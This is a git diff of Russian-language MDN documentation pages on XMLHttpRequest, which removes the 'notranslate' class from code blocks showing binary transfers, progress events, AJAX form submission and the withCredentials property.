<code>XMLHttpRequest</code> используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить <code>XMLHttpRequest</code> посылать двоичные данные. Они используют метод <code>XMLHttpRequest</code>.overrideMimeType().</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); // получаем необработанные данные в виде двоичной строки oReq.overrideMimeType("text/plain; charset=x-user-defined"); @@ -63,7 +63,7 @@ oReq.overrideMimeType("text/plain; charset=x-user-defined"); <p>Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType</a>, значительно облегчающие работу с двоичными данными:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.responseType = "arraybuffer"; @@ -82,7 +82,7 @@ oReq.send(); <p>Отслеживание событий процесса загрузки следует спецификации Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html">progress events</a>: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.addEventListener("progress", updateProgress, false); oReq.addEventListener("load", transferComplete, false); @@ -123,7 +123,7 @@ function transferCanceled(evt) { <p>События <code>progress</code> есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта <code>XMLHttpRequest</code>, как показано в примере выше; исходящих —для <code>XMLHttpRequest.upload:</code></p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.upload.addEventListener("progress", updateProgress, false); oReq.upload.addEventListener("load", transferComplete, false); @@ -147,7 +147,7 @@ oReq.open(); <p>Также возможно засечь все три события, завершающие загрузку (<code>abort</code>, <code>load</code>, or <code>error</code>) через событие <code>loadend</code>:</p> -<pre class="brush:js notranslate">req.addEventListener("loadend", loadEnd, false); +<pre class="brush:js">req.addEventListener("loadend", loadEnd, false); function loadEnd(e) { alert("Передача данных завершена (но мы не знаем, успешно ли)."); @@ -188,14 +188,14 @@ function loadEnd(e) { <li> <p>Метод: <code>POST</code>; тип кодирования: <code>application/x-www-form-urlencoded</code> (по умолчанию):</p> - <pre class="notranslate">Content-Type: application/x-www-form-urlencoded + <pre>Content-Type: application/x-www-form-urlencoded foo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A</pre> </li> <li> <p>Метод: <code>POST</code>; тип кодирования: <code>text/plain</code>:</p> - <pre class="notranslate">Content-Type: text/plain + <pre>Content-Type: text/plain foo=bar baz=The first line. @@ -222,14 +222,14 @@ The second line. <p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p> -<pre class="notranslate">?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> +<pre>?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> <h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4> <p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все ещё дидактический) фреймворк, </strong>который всё же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -475,7 +475,7 @@ var AJAXSubmit = (function () { <p>Для того, чтобы произвести его тест, создайте страницу с названием <strong>register.php</strong> (и укажите атрибут <code>action</code> одной из данных форм) и добавьте данный <em>минимальный</em> контент</p> -<pre class="brush: php notranslate"><?php +<pre class="brush: php"><?php /* register.php */ header("Content-type: text/plain"); @@ -502,7 +502,7 @@ print_r($_FILES); <p>Синтаксис данного скрипта представлен ниже:</p> -<pre class="syntaxbox notranslate">AJAXSubmit(myForm);</pre> +<pre class="syntaxbox">AJAXSubmit(myForm);</pre> <div class="note"><strong>Примечание:</strong> Данный фреймворк использует <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API для передачи загрузочных файлов. Это новый API и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как <strong>экспериментальные</strong>. Если вам не требуется загружать бинарные файлы, то данный фреймворк работает в большинстве современных браузерах.</div> @@ -515,7 +515,7 @@ print_r($_FILES); <p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -636,7 +636,7 @@ function AJAXSubmit (oFormElement) { <h2 id="Получить_дату_последнего_изменения">Получить дату последнего изменения</h2> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { alert(this.getResponseHeader("Last-Modified")); /* A valid GMTString date or null */ } @@ -649,7 +649,7 @@ oReq.send();</pre> <p>Let's create these two functions:</p> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)), @@ -673,7 +673,7 @@ function ifHasChanged(sURL, fCallback) { <p>Test:</p> -<pre class="brush: js notranslate">/* Let's test the file "yourpage.html"... */ +<pre class="brush: js">/* Let's test the file "yourpage.html"... */ ifHasChanged("yourpage.html", function (nModif, nVisit) { alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!"); @@ -689,7 +689,7 @@ ifHasChanged("yourpage.html", function (nModif, nVisit) { <p>Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:</p> -<pre class="notranslate">http://foo.com/bar.html -> http://foo.com/bar.html?12345 +<pre>http://foo.com/bar.html -> http://foo.com/bar.html?12345 http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345 </pre> @@ -697,7 +697,7 @@ http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz& <p>Автоматизировать этот подход можно следующим сниппетом:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true); oReq.send(null);</pre> @@ -718,12 +718,12 @@ oReq.send(null);</pre> <p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p> -<pre class="brush: js notranslate">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); +<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); </pre> <p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason. If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p> -<pre class="brush:js notranslate">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] +<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] .getService(Components.interfaces.nsIAppShellService) .hiddenDOMWindow; var oReq = new XMLHttpRequest();</pre> diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html index 6926b01f82..02d872e437 100644 --- a/files/ru/web/api/xmlhttprequest/withcredentials/index.html +++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/XMLHttpRequest/withCredentials <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +<pre class="brush: js">var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/', true); xhr.withCredentials = true; xhr.send(null);</pre> |